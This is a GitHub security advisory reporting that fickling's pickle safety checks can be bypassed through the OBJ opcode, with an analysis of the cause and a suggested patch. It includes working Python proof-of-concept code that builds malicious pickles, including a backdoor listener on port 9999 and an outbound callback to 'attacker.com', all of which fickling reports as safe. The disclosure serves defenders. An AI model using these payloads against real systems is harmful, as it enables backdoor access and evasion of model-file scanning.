Skip to content

Fickling: OBJ opcode call invisibility bypasses all safety checks

High severity GitHub Reviewed Published Feb 20, 2026 in trailofbits/fickling • Updated Feb 24, 2026

Package

pip fickling (pip)

Affected versions

< 0.1.8

Patched versions

0.1.8

Description

Assessment

The interpreter so it behaves closer to CPython when dealing with OBJ, NEWOBJ, and NEWOBJ_EX opcodes (trailofbits/fickling@ff423da).

Original report

Summary

All 5 of fickling's safety interfaces -- is_likely_safe(), check_safety(), CLI --check-safety, always_check_safety(), and the check_safety() context manager -- report LIKELY_SAFE / raise no exceptions for pickle files that use the OBJ opcode to call dangerous stdlib functions (signal handlers, network servers, network connections, file operations). The OBJ opcode's implementation in fickling pushes function calls directly onto the interpreter stack without persisting them to the AST via new_variable(). When the result is discarded with POP, the call vanishes from the final AST entirely, making it invisible to all 9 analysis passes.

This is a separate vulnerability from the REDUCE+BUILD bypass, with a different root cause. It survives all three proposed fixes for the REDUCE+BUILD vulnerability.

Details

The vulnerability is a single missing new_variable() call in Obj.run() (fickle.py:1333-1350).

REDUCE (fickle.py:1286-1301) correctly persists calls to the AST:

# Line 1300: call IS saved to module_body
var_name = interpreter.new_variable(call)
interpreter.stack.append(ast.Name(var_name, ast.Load()))

The comment on lines 1296-1299 explicitly states: "if we just save it to the stack, then it might not make it to the final AST unless the stack value is actually used."

OBJ (fickle.py:1333-1350) does exactly what that comment warns against:

# Line 1348: call is ONLY on the stack, NOT in module_body
interpreter.stack.append(ast.Call(kls, args, []))

When the OBJ result is discarded by POP, the ast.Call is gone. The decompiled AST shows the import but no function call:

from smtplib import SMTP    # import present (from STACK_GLOBAL)
result = None              # no call to SMTP visible

Yet at runtime, SMTP('127.0.0.1') executes and opens a TCP connection.

NEWOBJ (fickle.py:1411-1420) and NEWOBJ_EX (fickle.py:1423-1433) have the same code pattern but are less exploitable since CPython's NEWOBJ calls cls.__new__() (allocation only) while OBJ calls cls(*args) (full constructor execution with __init__ side effects).

Affected versions

All versions through 0.1.7 (latest as of 2026-02-19).

Affected APIs

  • fickling.is_likely_safe() - returns True for bypass payloads
  • fickling.analysis.check_safety() - returns AnalysisResults with severity = Severity.LIKELY_SAFE
  • fickling --check-safety CLI - exits with code 0
  • fickling.always_check_safety() + pickle.load() - no UnsafeFileError raised, malicious code executes
  • fickling.check_safety() context manager + pickle.load() - no UnsafeFileError raised, malicious code executes

PoC

A pickle that opens a TCP connection to an attacker's server via OBJ+POP, yet fickling reports it as LIKELY_SAFE:

import io, struct

def sbu(s):
    """SHORT_BINUNICODE opcode helper."""
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

def make_obj_pop_bypass():
    """
    Pickle that calls smtplib.SMTP('127.0.0.1') at runtime,
    but the call is invisible to fickling.

    Opcode sequence:
        MARK
          STACK_GLOBAL 'smtplib' 'SMTP'   (import persisted to AST)
          SHORT_BINUNICODE '127.0.0.1'    (argument)
        OBJ                               (call SMTP('127.0.0.1'), push result)
                                          (ast.Call on stack only, NOT in AST)
        POP                               (discard result -> call GONE)
        NONE
        STOP
    """
    buf = io.BytesIO()
    buf.write(b"\x80\x04\x95")  # PROTO 4 + FRAME

    payload = io.BytesIO()
    payload.write(b"(")                              # MARK
    payload.write(sbu("smtplib") + sbu("SMTP"))      # push module + func strings
    payload.write(b"\x93")                            # STACK_GLOBAL
    payload.write(sbu("127.0.0.1"))                   # push argument
    payload.write(b"o")                               # OBJ: call SMTP('127.0.0.1')
    payload.write(b"0")                               # POP: discard result
    payload.write(b"N.")                              # NONE + STOP

    frame_data = payload.getvalue()
    buf.write(struct.pack("<Q", len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()

import fickling, tempfile, os
data = make_obj_pop_bypass()
path = os.path.join(tempfile.mkdtemp(), "bypass.pkl")
with open(path, "wb") as f:
    f.write(data)

print(fickling.is_likely_safe(path))
# Output: True  <-- BYPASSED (network connection invisible to fickling)

fickling decompiles this to:

from smtplib import SMTP
result = None

Yet at runtime, SMTP('127.0.0.1') executes and opens a TCP connection.

CLI verification:

$ fickling --check-safety bypass.pkl; echo "EXIT: $?"
EXIT: 0    # BYPASSED

Comparison with REDUCE (same function, detected):

$ fickling --check-safety reduce_smtp.pkl; echo "EXIT: $?"
Warning: Fickling detected that the pickle file may be unsafe.
EXIT: 1    # DETECTED

Backdoor listener PoC (most impactful)

A pickle that opens a TCP listener on port 9999, binding to all interfaces:

import io, struct

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

def binint(n):
    return b"J" + struct.pack("<i", n)

def make_backdoor():
    buf = io.BytesIO()
    buf.write(b"\x80\x04\x95")  # PROTO 4 + FRAME

    payload = io.BytesIO()
    # OBJ+POP: TCPServer(('0.0.0.0', 9999), BaseRequestHandler)
    payload.write(b"(")                                          # MARK
    payload.write(sbu("socketserver") + sbu("TCPServer") + b"\x93")  # STACK_GLOBAL
    payload.write(b"(")                                          # MARK (inner tuple)
    payload.write(sbu("0.0.0.0"))                                # host
    payload.write(binint(9999))                                  # port
    payload.write(b"t")                                          # TUPLE
    payload.write(sbu("socketserver") + sbu("BaseRequestHandler") + b"\x93")  # handler
    payload.write(b"o")                                          # OBJ
    payload.write(b"0")                                          # POP
    payload.write(b"N.")                                         # NONE + STOP

    frame_data = payload.getvalue()
    buf.write(struct.pack("<Q", len(frame_data)))
    buf.write(frame_data)
    return buf.getvalue()

import fickling
data = make_backdoor()
with open("/tmp/backdoor.pkl", "wb") as f:
    f.write(data)

print(fickling.is_likely_safe("/tmp/backdoor.pkl"))
# Output: True  <-- BYPASSED

import pickle, socket
server = pickle.loads(data)
# Port 9999 is now LISTENING on all interfaces

s = socket.socket()
s.connect(("127.0.0.1", 9999))
print("Connected to backdoor port!")  # succeeds
s.close()
server.server_close()

Multi-stage combined PoC

A single pickle combining signal suppression + backdoor listener + outbound callback + file persistence:

# All four operations in one pickle, all invisible to fickling:
# 1. signal.signal(SIGTERM, SIG_IGN) - suppress graceful shutdown
# 2. socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) - backdoor
# 3. smtplib.SMTP('attacker.com') - C2 callback
# 4. sqlite3.connect('/tmp/.marker') - persistence marker

# fickling reports: LIKELY_SAFE
# All 4 operations execute at runtime

always_check_safety() verification:

import fickling, pickle

fickling.always_check_safety()
with open("poc_obj_multi.pkl", "rb") as f:
    result = pickle.load(f)
# No UnsafeFileError raised -- all 4 malicious operations executed

Impact

An attacker can distribute a malicious pickle file (e.g., a backdoored ML model) that passes all fickling safety checks. Demonstrated impacts:

  • Backdoor network listener: socketserver.TCPServer(('0.0.0.0', 9999), BaseRequestHandler) opens a port on all interfaces. The TCPServer constructor calls server_bind() and server_activate(), so the port is open immediately after pickle.loads() returns.
  • Process persistence: signal.signal(SIGTERM, SIG_IGN) makes the process ignore SIGTERM. In Kubernetes/Docker/ECS, the backdoor stays alive for 30+ seconds per restart attempt.
  • Outbound exfiltration: smtplib.SMTP('attacker.com') opens an outbound TCP connection. The attacker's server learns the victim's IP and hostname.
  • File creation on disk: sqlite3.connect(path) creates a file at an attacker-chosen path.

A single pickle combines all operations. In cloud ML environments, this enables persistent backdoor access while resisting graceful shutdown. This affects any application using fickling as a safety gate for ML model files.

The bypass works for any stdlib module NOT in fickling's UNSAFE_IMPORTS blocklist. Blocked modules (os, subprocess, socket, builtins, etc.) are still detected at the import level.

Suggested Fix

Add new_variable() to Obj.run() (lines 1348 and 1350), applying the same pattern used by Reduce.run() (line 1300):

# fickle.py, Obj.run():
-       if args or hasattr(kls, "__getinitargs__") or not isinstance(kls, type):
-           interpreter.stack.append(ast.Call(kls, args, []))
-       else:
-           interpreter.stack.append(ast.Call(kls, kls, []))
+       if args or hasattr(kls, "__getinitargs__") or not isinstance(kls, type):
+           call = ast.Call(kls, args, [])
+       else:
+           call = ast.Call(kls, kls, [])
+       var_name = interpreter.new_variable(call)
+       interpreter.stack.append(ast.Name(var_name, ast.Load()))

Also apply to NewObj.run() (line 1414) and NewObjEx.run() (line 1426) for defense in depth.

References

Published to the GitHub Advisory Database Feb 24, 2026
Reviewed Feb 24, 2026
Last updated Feb 24, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P

EPSS score

Weaknesses

Interpretation Conflict

Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-mxhj-88fx-4pcv

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.